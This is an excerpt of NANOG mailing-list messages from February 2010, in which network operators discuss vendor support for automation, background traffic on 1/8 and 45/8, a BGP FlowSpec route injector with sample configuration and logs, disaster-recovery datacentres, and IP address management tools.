01, 2010 at 09:46:07PM -0500, Stefan Fouant wrote: > Vijay Gill had some real interesting insights into this in a > presentation he gave back at NANOG 44: > > http://www.nanog.org/meetings/nanog44/presentations/Monday/Gill_programatic_N44.pdf > > His Blog article on "Infrastructure is Software" further expounds > upon the benefits of such an approach - > http://vijaygill.wordpress.com/2009/07/22/infrastructure-is-software/ > > That stuff is light years ahead of anything anybody is doing today > (well, apart from maybe Vijay himself ;) ... but IMO it's where we > need to start heading. Vijay's stuff is fascinating. The vision is great. But in my experience, the vendors and implementations basically ruin the dream for anyone who doesn't have his pull. I'm sure my software is nowhere close to being as sophisticated as his, but my plans are pretty much in line with his suggestions. Some problems I've run into that I don't see any kind of solution for: 1) Forwarding-impacting bugs: IOS bugs that are triggered by SNMP are easily the #1 cause of our accidental service impact. Most seem to be race conditions that require real-world config and forwarding load - not something a small shop can afford to build a lab to reproduce. If we stuck to manual deployment, we might have made a few mistakes but would it have been worse? Maybe - but honestly, it could be a wash. 2) Vendor support is highly suspicious of automation: anytime I open a ticket, even unrelated to an automated software process, the first thing the vendor support demands is to disable all automation. Juniper is by far the best about this, and they *still* don't actually believe their own automation tools work. Cisco TAC's answer has always been "don't ever use SNMP if it causes crashes!" Procurve doesn't even bother to respond to tickets related to automation bugs, even if they are remotely triggerable crashes in the default config. 3) Automation interfaces are largely unsupported: I imagine vendor software development having one or two guys that are the masterminds for SNMP/NETCONF/whatever - and that's it. When I have a question on how to find a particular tool, or find a bug in an automation function, I can often go months on a ticket with people that have no idea what I'm talking about. What documentation exists is typically incomplete or inconsistent across versions and product lines. 4) Related tools prevent reliable error reporting: as far as I can tell, Net-SNMP returns random values if a request fails; if there's a pattern, I've failed to discern it. expect is similar. ScreenOS's SSH implementation always returns that a file copy failed. Procurve only this year implemented ssh key-based auth in combination with remote authentication. The best-of-breed seems to be an oft-pathetic collection of tools. 5) Management support: developing automation software is hard - network devices aren't nearly as easy to deal with as they should be. When I spend weeks developing features that later causes IOS to spontaneously reload, people that don't understand the relation to operational impact start to advocate dismantling the automation just like the vendors above. I'm sure we'll continue to build automated policy and configuration tools. I'm just not convinced it's the panacea that everyone thinks. Unless you're one of the biggest, it puts your network at someone else's mercy - and that someone else doesn't care about your operational expenses. Ross -- Ross Vandegrift ross at kallisti.us "If the fight gets hot, the songs get hotter. If the going gets tough, the songs get tougher." --Woody Guthrie -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: Digital signature URL: From brunner at nic-naa.net Wed Feb 3 10:18:50 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Wed, 03 Feb 2010 11:18:50 -0500 Subject: Research Project: Internet capacity during pandemic events In-Reply-To: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> References: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> Message-ID: <4B69A1EA.5000005@nic-naa.net> Mike, Is your interest events like the recent semi-non-event with H1N1, where for contagation management, workforce labor and school age children were not compulsorily aggregated, or morbidity and mortality effects on network operator labor for an event such as the dispersal of a weaponized biological? Restated, is your interest bursty behavior on the edge (houses of workers at big box employers X,Y,Z), rather than at the core (big box employer X,Y,Z), or how do network operators plan continuity as the skilled labor available count goes to zero? We sort of had the latter exercise over the past three weeks in Haiti, where fuel, food, and families assumptions about operational readiness were tested, and only just kept above zero. Eric On 2/2/10 10:59 PM, haska at ualberta.ca wrote: > Hello everyone, > > My name is Mike Haska, and I am a graduate student at the University of > Alberta. I am conducting research into Internet capacity issues during > pandemic events. In order to analyze certain aspects of this topic, I > need to get in touch with representatives from the major Internet > service providers in Canada - some of whom, I am hoping, are members of > this distribution. > > Specifically, I am looking to get in touch with individuals who are > familiar with the structure of their network and with any pandemic > contingency plans that are in place within their organization. > > If you think you may be able to assist, or if you know of anyone who > could, please contact me at (haska at ualberta.ca) and I will provide > further information on all aspects of this study. > > To put your mind at ease - I'm not fishing around for sensitive > information or your root passwords; I'm looking for an overview of your > policies and your responses to hypothetical scenarios. Your > confidentiality is assured and you are welcome to preview all the > questions to be asked before you commit to participating in any way. > > I feel this topic has important implications to network operators in > Canada, so any support you can offer to this research project is greatly > appreciated. > > Best regards, > -Mike > > > From morrowc.lists at gmail.com Wed Feb 3 10:35:49 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 3 Feb 2010 11:35:49 -0500 Subject: Mitigating human error in the SP In-Reply-To: <20100203161409.GC3212@kallisti.us> References: <019301caa3b1$dfe90650$9fbb12f0$@net> <20100203161409.GC3212@kallisti.us> Message-ID: <75cb24521002030835q7b7d7d8cwe367b3b8590cada3@mail.gmail.com> On Wed, Feb 3, 2010 at 11:14 AM, Ross Vandegrift wrote: > On Mon, Feb 01, 2010 at 09:46:07PM -0500, Stefan Fouant wrote: > > Vijay Gill had some real interesting insights into this in a > > presentation he gave back at NANOG 44: > > > > > http://www.nanog.org/meetings/nanog44/presentations/Monday/Gill_programatic_N44.pdf > > > > His Blog article on "Infrastructure is Software" further expounds > > upon the benefits of such an approach - > > http://vijaygill.wordpress.com/2009/07/22/infrastructure-is-software/ > > > > That stuff is light years ahead of anything anybody is doing today > > (well, apart from maybe Vijay himself ;) ... but IMO it's where we > > need to start heading. > > Vijay's stuff is fascinating. The vision is great. But in my > experience, the vendors and implementations basically ruin the dream > for anyone who doesn't have his pull. > > you know what helps? lots of operations folks asking for the same set of capabilities... Vendors build what will make them money. If you want a device to do X, getting lots of your friends in the operator community to agree and talk to the vendor with the same message helps the vendor understand and prioritize the request. If you want more/better/faster/simpler configuration via 'script' (program) it makes sense to ask the vendor(s) for these capabilities... -chris From jeffrey at longislandfiber.com Wed Feb 3 12:59:45 2010 From: jeffrey at longislandfiber.com (Jeffrey Meltzer) Date: Wed, 3 Feb 2010 13:59:45 -0500 (EST) Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> Message-ID: <024301caa503$0d814120$2883c360$@longislandfiber.com> I haven't worked with them personally but am aware of FiberTech and have spoken with them. http://www.fibertech.com/enterprise/colocation-service/ If you need a contact him me off list. -- Jeffrey Meltzer Director of Network Operations Long Island Fiber Exchange / Exobit Networks (A LIFE Company) > -----Original Message----- > From: Matt Sprague [mailto:msprague at readytechs.com] > Sent: Tuesday, February 02, 2010 4:16 PM > To: nanog at nanog.org > Subject: Datacenter for DR in northwestern NJ/NY > > Hello NANOG! > > Does anyone know of some strong datacenters in northwestern NJ, or > north of Westchester NY without getting too far away from NYC? > > I'm looking for a DR colo solution for a site that is in NYC; this > needs to be at least 50m away from NYC, but I'm trying to keep it not > too much further than that for convenience. I'm also trying to keep > this to top level providers as there may be compliance requirements. > > Thanks in advance for any responses. > -- > Matt Sprague > ReadyTechs, LLC > > msprague at readytechs.com > 973-455-0606 x1204 (voice) > http://www.readytechs.com/ From thomas.mangin at exa-networks.co.uk Wed Feb 3 13:06:16 2010 From: thomas.mangin at exa-networks.co.uk (Thomas Mangin) Date: Wed, 3 Feb 2010 19:06:16 +0000 Subject: BGP FlowSpec (RFC 5575) route injector Message-ID: Hi, I juste added some preliminary support for FlowSpec (RFC5575) to my BGP route injector http://bgp.exa.org.uk/ As I am not aware of any other project allowing to inject flow route into a network, I am taking the liberty to plug it here. You can access the SVN repository at: http:/svn.exa.org.uk/bgp/trunk/ the code is under a 3-clauses BSD licence. More information about the installation are available on the wiki. I performed basic testing by rate-limiting one of my coworkers mail and web flows - seems to work - for the rest, it may not do what it should. If you are interested, have any questions, or are missing a feature, or just find any bugs, please, just let me know. Changing the configuration and sighuping the application perform send the peers the correct update messages to change the peer RIB. Or just enable graceful-restart and restart the application if you do not care about the number of update :p More information: - http://www.terena.org/activities/tf-ngn/tf-ngn17/uze-flowspec.pdf - http://resources.nznog.org/2006/Friday-240306/DavidLambert-BGPFlowSpecificationUpdate/Lambert.ppt - http://uknof.org/uknof15/Mangin-NakedBGP.pdf (another shameless selfplug - BGP overview - 3 slides on FlowSpec) Thomas -- Exa Networks Limited - http://www.exa-networks.co.uk/ Company No. 04922037 - VAT no. 829 1565 09 27-29 Mill Field Road, BD16 1PY, UK Phone: +44 (0) 845 145 1234 - Fax: +44 (0) 1274 567646 --------- neighbor 82.219.123.221 { [....] flow { route { match { source 10.0.0.1/32; destination 192.168.0.1/32; port =80; destination-port =3128 >8080&<8088; source-port >1024; protocol tcp; # protocol [ tcp udp ]; # packet-length >200&<300 >400&<500; # fragment not-a-fragment; # fragment [ first-fragment last-fragment ]; # icmp-type [ unreachable echo-request echo-reply ]; # icmp-code [ host-unreachable network-unreachable ]; # tcp-flags [ urgent rst ]; # dscp [ 10 20 ]; } then { discard; # rate-limit 9600; # redirect 65500:12345; # redirect 1.2.3.4:5678; } } } } thomas.mangin at m7i-4.u3.tcw.uk> show configuration logical-routers trap protocols bgp local-as 30740; group flow { type external; multihop; local-preference 100; local-address 82.219.123.221; import no-export; export deny-all; peer-as 65500; neighbor 82.219.131.242 { traceoptions { file bgp; flag all; } family inet { unicast; flow { no-validate everything; } } family inet6 { unicast; } } } thomas.mangin at m7i-4.u3.tcw.uk> show configuration logical-routers trap policy-options policy-statement everything then accept; # env PYTHONPATH=~/source/bgp/lib/ python daemon/bgpd etc/bgp/m7i-service.txt 033 12:28:13 Supervisor/ performing reload 033 12:28:13 Supervisor/ New Peer 82.219.123.221 033 12:28:14 82.219.123.221/ 30740 -> OPEN version=4 asn=65500 hold_time=180 router_id=82.219.131.242 capabilities=[Graceful Restart Flags 0x8 Time 5 IPv4/flow-ipv4=0x80 IPv4/unicast=0x80 IPv6/unicast=0x80, Multiprotocol IPv4 unicast IPv6 unicast IPv4 flow-ipv4] 033 12:28:15 82.219.123.221/ 30740 <- OPEN version=4 asn=30740 hold_time=90 router_id=82.219.123.221 capabilities=[Cisco Route Refresh (unparsed), Multiprotocol IPv4 unicast IPv6 unicast IPv4 flow-ipv4, Route Refresh (unparsed)] 033 12:28:16 82.219.123.221/ 30740 -> KEEPALIVE 033 12:28:17 82.219.123.221/ 30740 <- KEEPALIVE announcing IPv6 unicast 2a02:b80:0:6:50::1/128 next-hop 2a02:b80::90:0:52e:0:1 med 100 announcing IPv4 flow-ipv4 destination 192.168.0.1/32,source 10.0.0.1/32,protocol =TCP,port =80,destination-port =3128 >8080&<8088,source-port >1024 extended community [ 0x80 0x6 0x0 0x0 0x0 0x0 0x0 0x0 ] announcing IPv4 unicast 82.219.4.100/32 next-hop 82.219.4.101 med 100 033 12:28:17 82.219.123.221/ 30740 -> UPDATE (3) 033 12:28:17 82.219.123.221/ 30740 <- KEEPALIVE thomas.mangin at m7i-4.u3.tcw.uk> show route logical-router trap table inetflow.0 extensive inetflow.0: 1 destinations, 1 routes (1 active, 0 holddown, 0 hidden) 192.168.0.1,10.0.0.1,proto=6,port=80,dstport=3128,>8080&<8088,srcport>1024/256 (1 entry, 0 announced) *BGP Preference: 170/-101 Next hop type: Fictitious Next-hop reference count: 1 State: Peer AS: 65500 Age: 1:13 Task: BGP_65500_30740.82.219.131.242+32319 AS path: 65500 I Communities: no-export traffic-rate:0:0 Localpref: 100 Router ID: 82.219.131.242 From leslie at craigslist.org Wed Feb 3 13:37:11 2010 From: leslie at craigslist.org (Leslie) Date: Wed, 03 Feb 2010 11:37:11 -0800 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <024301caa503$0d814120$2883c360$@longislandfiber.com> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> <024301caa503$0d814120$2883c360$@longislandfiber.com> Message-ID: <4B69D067.6080004@craigslist.org> >> >> Hello NANOG! >> >> Does anyone know of some strong datacenters in northwestern NJ, or >> north of Westchester NY without getting too far away from NYC? >> >> I'm looking for a DR colo solution for a site that is in NYC; this >> needs to be at least 50m away from NYC, but I'm trying to keep it not >> too much further than that for convenience. I'm also trying to keep >> this to top level providers as there may be compliance requirements. >> >> Thanks in advance for any responses. Washington DC is just an Acela train ride away if you are willing to go a bit further. It has a lot of fiber connectivity and a good selection of datacenters - plus the Acela train is really comfortable. Leslie From justin.ream at gmail.com Wed Feb 3 13:40:38 2010 From: justin.ream at gmail.com (Justin Ream) Date: Wed, 3 Feb 2010 11:40:38 -0800 Subject: [NANOG] Contacts @ China Unicom and China Telecom Message-ID: <6913494d1002031140n290fe7e0ra56b1cd2dfcdd2b8@mail.gmail.com> Hi All - Does anyone have peering contacts for China Unicom and China Telecom? Finding that the ones for Any2 in peeringdb.com are no good. Will take replies offlist, thanks! -justin From ras at e-gerbil.net Wed Feb 3 13:48:58 2010 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Wed, 3 Feb 2010 13:48:58 -0600 Subject: [NANOG] Contacts @ China Unicom and China Telecom In-Reply-To: <6913494d1002031140n290fe7e0ra56b1cd2dfcdd2b8@mail.gmail.com> References: <6913494d1002031140n290fe7e0ra56b1cd2dfcdd2b8@mail.gmail.com> Message-ID: <20100203194858.GU75640@gerbil.cluepon.net> On Wed, Feb 03, 2010 at 11:40:38AM -0800, Justin Ream wrote: > Hi All - > > Does anyone have peering contacts for China Unicom and China Telecom? > Finding that the ones for Any2 in peeringdb.com are no good. Will > take replies offlist, thanks! Last I checked the China Telecom e-mails listed worked fine, but the China Unicom/China Netcom addresses have all bounced for at least a couple of years now. I've personally tried every possible combination and permutation of every address listed, including the e-mail address that was used to register the PeeringDB account, and none of them work. -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From Joel.Snyder at Opus1.COM Wed Feb 3 14:10:07 2010 From: Joel.Snyder at Opus1.COM (Joel M Snyder) Date: Wed, 03 Feb 2010 13:10:07 -0700 Subject: How polluted is 1/8? In-Reply-To: References: Message-ID: <4B69D81F.9050709@opus1.com> > Having this data is useful, but I can't help to think it would be > more useful if it were compared with 27/8, or other networks. Is > this slightly worse, or significantly worse than other networks? I have only anecdotal information regarding 45/8. 45/8 is assigned to Interop, and as such it is brought up-and-down as Interop's shows move in and out of convention centers. Starting at least 5 years ago, it has proved impractical to start announcing 45/8, since this causes immediate and massive amounts of traffic to flow into the show network. The last time that I know that the full 45/8 was announced, traffic settled down to about a full T3's worth of bandwidth before the network engineers started announcing smaller /16 chunks as actually needed. Even /16 has proved impractical while the network is being built-out, before the show, because the build-out site typically has T1-ish bandwidth---again, saturated with a /16 being announced. This information is very different from the RIPE Labs experiment which I think showed that certain "obvious" addresses (1.1.1.1 seemed to be the kicker in my short reading of their report) were being mis-used heavily. But I suspect that 27/8 would have similar issues to 45/8. However, it is not clear to me that this is different from any other /8. In other words, for those that have a /8, they probably DO have to put up with a T3-worth of garbage flowing their way before they move the first useful packet. However, you don't get a /8 unless a T3 is small potatoes to you, hence... jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From streiner at cluebyfour.org Wed Feb 3 14:19:16 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Wed, 3 Feb 2010 15:19:16 -0500 (EST) Subject: How polluted is 1/8? In-Reply-To: <4B69D81F.9050709@opus1.com> References: <4B69D81F.9050709@opus1.com> Message-ID: On Wed, 3 Feb 2010, Joel M Snyder wrote: > This information is very different from the RIPE Labs experiment which I > think showed that certain "obvious" addresses (1.1.1.1 seemed to be the > kicker in my short reading of their report) were being mis-used heavily. > But I suspect that 27/8 would have similar issues to 45/8. I would hope that the APNIC would opt not to assign networks that would contain 1.1.1.1 or 1.2.3.4 to customers for exactly that reason. The signal-to-noise ratio for those addresses is likely pretty high. The noise is likely contained on many internal networks for now because a corresponding route doesn't show up in the global routing table at the moment. Once that changes.... I could see holding those prefixes aside for research purposes (spam traps, honey pots, etc...). jms From fischer at sacred.net Wed Feb 3 14:34:22 2010 From: fischer at sacred.net (Randy Fischer) Date: Wed, 3 Feb 2010 15:34:22 -0500 Subject: Fwd: [Geowanking] model of the internet - need data In-Reply-To: <2686af11002031014s67615bdx76b58db324f2b930@mail.gmail.com> References: <2686af11002031014s67615bdx76b58db324f2b930@mail.gmail.com> Message-ID: Hello,? longtime lurker here,? an acquaintance is looking for lat/long data and I thought this group might not object to this request.? (if you do, it's my fault, not that of Anselm). -Randy Fischer ---------- Forwarded message ---------- From: Anselm Hook Date: Wed, Feb 3, 2010 at 1:14 PM Subject: [Geowanking] model of the internet - need data Hi folks, I'm looking for a map of the Internet. A friend wants to project this onto a spinny globe. I've found several pictoral representations but I'm looking a raw data-set that geographically locates major routers and servers. In an ideal world I'd get a database that indicates { ip address, amount of traffic, longitude, latitude, connected to other ip addresses } and then I could draw my own picture. Databases I have seen do not include longitude and latitude which I something I would need. Any leads? I suppose even just given IP addresses I could guess longitude and latitude location... which wouldn't be ideal but perhaps would be acceptable. Here's what I've seen so far, ? http://www.opte.org/ ?-> I'll try reach out to these folks since they seem to have the best data and are nearby. ? http://www.technologyreview.com/Infotech/18944/?a=f ? http://www.chrisharrison.net/projects/InternetMap/ Thanks for any input! - @anselm @wherecamp From chip.gwyn at gmail.com Wed Feb 3 14:41:41 2010 From: chip.gwyn at gmail.com (chip) Date: Wed, 3 Feb 2010 15:41:41 -0500 Subject: [Geowanking] model of the internet - need data In-Reply-To: References: <2686af11002031014s67615bdx76b58db324f2b930@mail.gmail.com> Message-ID: <64a8ad981002031241k280050faqad496b54e1d94382@mail.gmail.com> Get your data with these: http://www.maxmind.com/app/api >From this database (OSS/Free): http://www.maxmind.com/app/geolitecity Map it with this http://code.google.com/apis/kml/documentation/ Enjoy! --chip On Wed, Feb 3, 2010 at 3:34 PM, Randy Fischer wrote: > Hello, longtime lurker here, an acquaintance is looking for lat/long > data and I thought this group might not object to this request. (if > you do, it's my fault, not that of Anselm). > > -Randy Fischer > > ---------- Forwarded message ---------- > From: Anselm Hook > Date: Wed, Feb 3, 2010 at 1:14 PM > Subject: [Geowanking] model of the internet - need data > > Hi folks, > > I'm looking for a map of the Internet. A friend wants to project this > onto a spinny globe. I've found several pictoral representations but > I'm looking a raw data-set that geographically locates major routers > and servers. In an ideal world I'd get a database that indicates { ip > address, amount of traffic, longitude, latitude, connected to other ip > addresses } and then I could draw my own picture. Databases I have > seen do not include longitude and latitude which I something I would > need. Any leads? > > I suppose even just given IP addresses I could guess longitude and > latitude location... which wouldn't be ideal but perhaps would be > acceptable. > > Here's what I've seen so far, > > http://www.opte.org/ -> I'll try reach out to these folks since > they seem to have the best data and are nearby. > > http://www.technologyreview.com/Infotech/18944/?a=f > > http://www.chrisharrison.net/projects/InternetMap/ > > Thanks for any input! > > - @anselm @wherecamp > > -- Just my $.02, your mileage may vary, batteries not included, etc.... From LarrySheldon at cox.net Wed Feb 3 14:45:12 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Wed, 03 Feb 2010 14:45:12 -0600 Subject: How polluted is 1/8? In-Reply-To: References: <4B69D81F.9050709@opus1.com> Message-ID: <4B69E058.8080602@cox.net> On 2/3/2010 2:19 PM, Justin M. Streiner wrote: > I could see holding those prefixes aside for research purposes (spam > traps, honey pots, etc...). I think it is too bad that we didn't have the forethought to route all of those networks to 100-watt resistors some years ago. When I last was admin of a small-corner of the world I routed a lot of that kind of traffic (I don't remember it 1/? was part of that or not) to the null interface. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From streiner at cluebyfour.org Wed Feb 3 14:53:08 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Wed, 3 Feb 2010 15:53:08 -0500 (EST) Subject: How polluted is 1/8? In-Reply-To: <4B69E058.8080602@cox.net> References: <4B69D81F.9050709@opus1.com> <4B69E058.8080602@cox.net> Message-ID: On Wed, 3 Feb 2010, Larry Sheldon wrote: > On 2/3/2010 2:19 PM, Justin M. Streiner wrote: > >> I could see holding those prefixes aside for research purposes (spam >> traps, honey pots, etc...). > > I think it is too bad that we didn't have the forethought to route all of > those networks to 100-watt resistors some years ago. > > When I last was admin of a small-corner of the world I routed a lot of that > kind of traffic (I don't remember it 1/? was part of that or not) to the null > interface. If some unfortunate soul does get 1.1.1.1, 1.2.3.4, 1.3.3.7, etc, they would also likely experience significant global reachability problems in addition to all of the unintended noise that gets sent their way. There are many sites that specifically filter those addresses, in addition to those that don't update bogon filters, or assume "no one will _ever_ get 1.2.3.4!" :) jms From deepak at ai.net Wed Feb 3 15:05:00 2010 From: deepak at ai.net (Deepak Jain) Date: Wed, 3 Feb 2010 16:05:00 -0500 Subject: How polluted is 1/8? In-Reply-To: References: <4B69D81F.9050709@opus1.com> <4B69E058.8080602@cox.net> Message-ID: > If some unfortunate soul does get 1.1.1.1, 1.2.3.4, 1.3.3.7, etc, they > would also likely experience significant global reachability problems > in > addition to all of the unintended noise that gets sent their way. > > There are many sites that specifically filter those addresses, in > addition to those that don't update bogon filters, or assume "no one > will _ever_ get 1.2.3.4!" :) They would make great DNS server IPs for someone who wanted to host them. :) Deepak From ngqbao at gmail.com Wed Feb 3 15:53:15 2010 From: ngqbao at gmail.com (Bao Nguyen) Date: Wed, 3 Feb 2010 13:53:15 -0800 Subject: ip address management In-Reply-To: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> Message-ID: <47b36b291002031353xc8560f9y8641a91ebf65110d@mail.gmail.com> I want to point out that OpenNetAdmin (ONA) is a great IP/DNS/Host tracking tool, although not supporting IPv6 yet. It's the first GPL I know of that uses the concept of an abstract host which can have multiple DNS names or IPs. I used IPPLAN in the past but have recently converted to ONA for several of our managed projects and been happy since. The developer is actively working on some improvements. I've wrote some script to convert from your BIND/NAME zone file to ONA. As for the interface, you have the option of using its nice AJAX web based or cli through a PHP script. -bn 0216331C On Tue, Feb 2, 2010 at 12:55 PM, Pavel Dimow wrote: > Hello, > > does anybody knows what happend with ipat? > > http://nethead.de/index.php/ipat > http://nanog.cluepon.net/index.php/Tools_and_Resources > > Any other suggestion for a good foss ip address management app with > ipv6 support? > > From scott at doc.net.au Wed Feb 3 15:57:50 2010 From: scott at doc.net.au (Scott Howard) Date: Wed, 3 Feb 2010 13:57:50 -0800 Subject: [Geowanking] model of the internet - need data In-Reply-To: <64a8ad981002031241k280050faqad496b54e1d94382@mail.gmail.com> References: <2686af11002031014s67615bdx76b58db324f2b930@mail.gmail.com> <64a8ad981002031241k280050faqad496b54e1d94382@mail.gmail.com> Message-ID: On Wed, Feb 3, 2010 at 12:41 PM, chip wrote: > Get your data with these: > http://www.maxmind.com/app/api > > >From this database (OSS/Free): > http://www.maxmind.com/app/geolitecity In my experience Maxmind does at best a fairly ordinary job when it comes to routers, especially if you're using the free version of the database. Scott From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Wed Feb 3 16:10:25 2010 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Thu, 4 Feb 2010 08:40:25 +1030 Subject: ip address management In-Reply-To: <20100203151526.GG38289@macbook.catpipe.net> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <4B698B0F.9080603@foobar.org> <20100203151526.GG38289@macbook.catpipe.net> Message-ID: <20100204084025.35f19356@opy.nosense.org> On Wed, 3 Feb 2010 16:15:30 +0100 Phil Regnauld wrote: > Nick Hilliard (nick) writes: > > > > There is a FAQ entry for ipv6 support in ipplan: > > > > > One feature request that comes up from time to time is IPv6. Adding IPv6 > > > support will require major effort but has such a limited audience. > > > Ironically the only people that ever requested IPv6 support are either > > > from Telcos, ISP?s or government departments, yet they are never > > > interested in contributing resources! I deam them parasites of the Open > > > Source world - leaching off the good will and effort of the Open Source > > > community, yet give nothing in return. > > Shame. And "deam" is "deem". > > > q.v. http://iptrack.sourceforge.net/doku.php?id=faq > > > > I guess we're all entitled to our opinions. > > Yeah, sad. > I think that if he didn't want commercial organisations to use his software, he shouldn't have chosen a licence that permits them to (the GPL according to the home page). If that's his attitude to possible future contributors and to IPv6, then it seems to me that iptrack has jumped the shark. > > The data model used in ipplan is to enumerate all IP addresses in the > > working ranges. This works fine for ipv4, but obviously breaks horribly > > for ipv6. Political considerations aside, I suspect that this is at least > > some of the reason that ipplan doesn't support it. > > It would indeed require a very large screen and lots of memory :) > > Cheers, > Phil > From john at sackheads.org Wed Feb 3 16:25:17 2010 From: john at sackheads.org (John Payne) Date: Wed, 3 Feb 2010 17:25:17 -0500 Subject: How polluted is 1/8? In-Reply-To: <4B69D81F.9050709@opus1.com> References: <4B69D81F.9050709@opus1.com> Message-ID: On Feb 3, 2010, at 3:10 PM, Joel M Snyder wrote: > >> Having this data is useful, but I can't help to think it would be >> more useful if it were compared with 27/8, or other networks. Is >> this slightly worse, or significantly worse than other networks? > > I have only anecdotal information regarding 45/8. > > 45/8 is assigned to Interop, and as such it is brought up-and-down as Interop's shows move in and out of convention centers. Starting at least 5 years ago, it has proved impractical to start announcing 45/8, since this causes immediate and massive amounts of traffic to flow into the show network. > > The last time that I know that the full 45/8 was announced, traffic settled down to about a full T3's worth of bandwidth before the network engineers started announcing smaller /16 chunks as actually needed. Even /16 has proved impractical while the network is being built-out, before the show, because the build-out site typically has T1-ish bandwidth---again, saturated with a /16 being announced. Just because I find it amusing timing... today I sat in a vendor presentation where he connected to his company's demo site and I smiled as I saw IP addresses in 45/8 (as well as 10/8 and others). From nanog at daork.net Wed Feb 3 16:47:53 2010 From: nanog at daork.net (Nathan Ward) Date: Thu, 4 Feb 2010 11:47:53 +1300 Subject: How polluted is 1/8? In-Reply-To: References: <4B69D81F.9050709@opus1.com> Message-ID: On 4/02/2010, at 9:19 AM, Justin M. Streiner wrote: > I would hope that the APNIC would opt not to assign networks that would contain 1.1.1.1 or 1.2.3.4 to customers for exactly that reason. The signal-to-noise ratio for those addresses is likely pretty high. The noise is likely contained on many internal networks for now because a corresponding route doesn't show up in the global routing table at the moment. Once that changes.... 1.1.1/24 and 1.2.3/24 are assigned to APNIC. Unless they release them, the general public will not get addresses in these. -- Nathan Ward From wavetossed at googlemail.com Wed Feb 3 16:57:55 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Wed, 3 Feb 2010 22:57:55 +0000 Subject: Mitigating human error in the SP In-Reply-To: <20100203161409.GC3212@kallisti.us> References: <019301caa3b1$dfe90650$9fbb12f0$@net> <20100203161409.GC3212@kallisti.us> Message-ID: <877585b01002031457h7d1a897bie1f350da133f184c@mail.gmail.com> > 3) Automation interfaces are largely unsupported: CLI is an automation interface. Combine that with a management server from which telnet sessions to the router can be managed, and you have probably the lowest risk automation interface possible. This may force you into building your own tools, but if you really want low risk, that's the price you pay. > I'm sure we'll continue to build automated policy and configuration > tools. ?I'm just not convinced it's the panacea that everyone thinks. > Unless you're one of the biggest, it puts your network at someone > else's mercy - and that someone else doesn't care about your > operational expenses. That is not a risk of automation. That is a risk of buy versus build. More and more businesses of all sorts are beginning to take a new look at their software and automated systems with a view towards building and owning and maintaining the parts that really are business critical for their unique business. In this brave new world, only the non-essential stuff will be bought in as packages. --Michael Dillon From cvicente at network-services.uoregon.edu Wed Feb 3 18:17:43 2010 From: cvicente at network-services.uoregon.edu (Carlos Vicente) Date: Wed, 03 Feb 2010 16:17:43 -0800 Subject: ip address management Message-ID: <4B6A1227.7010708@ns.uoregon.edu> Please take a look at the Network Documentation Tool: http://netdot.uoregon.edu It's more than just IPAM, but it was designed with IPv6 in mind. BTW, I just gave a lighting talk at the I2 Joint Techs meeting in Salt Lake City this morning: http://www.internet2.edu/presentations/jt2010feb/20100203-vincente.pdf Feedback welcome. Regards, Carlos Vicente University of Oregon From av at nethead.de Wed Feb 3 20:50:11 2010 From: av at nethead.de (Arnd Vehling) Date: Thu, 04 Feb 2010 03:50:11 +0100 Subject: ip address management In-Reply-To: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> Message-ID: <4B6A35E3.1080208@nethead.de> Hi, Pavel Dimow wrote: > does anybody knows what happend with ipat? > http://nethead.de/index.php/ipat > http://nanog.cluepon.net/index.php/Tools_and_Resources i did take the sources offline a couple of weeks ago cause there didnt seemed to be a lot interest in the software. If you want i can put em up again or send you a download link but you should keep in mind that this is a "carrier grade" address management tool which requires quite some time to setup. The IP management stuff has been created ontop of the RIPE whois database, means, you will be running a complete registry server. cheers, Arnd From brwatters at absfoc.com Wed Feb 3 22:32:01 2010 From: brwatters at absfoc.com (Brian R. Watters) Date: Wed, 3 Feb 2010 20:32:01 -0800 (PST) Subject: ip address management In-Reply-To: <4B6A35E3.1080208@nethead.de> Message-ID: <23079564.1196.1265257921131.JavaMail.root@mail.absfoc.com> Please do send the dn/load link .. thanks ----- "Arnd Vehling" wrote: > Hi, > > Pavel Dimow wrote: > > does anybody knows what happend with ipat? > > http://nethead.de/index.php/ipat > > http://nanog.cluepon.net/index.php/Tools_and_Resources > > i did take the sources offline a couple of weeks ago cause there didnt > > seemed to be a lot interest in the software. > > If you want i can put em up again or send you a download link but you > > should keep in mind that this is a "carrier grade" address management > > tool which requires quite some time to setup. > > The IP management stuff has been created ontop of the RIPE whois > database, means, you will be running a complete registry server. > > cheers, > > Arnd -- Brian R. Watters Director American Broadband Family of Companies 5718 East Shields Ave Fresno, CA. 93727 brwatters at absfoc.com 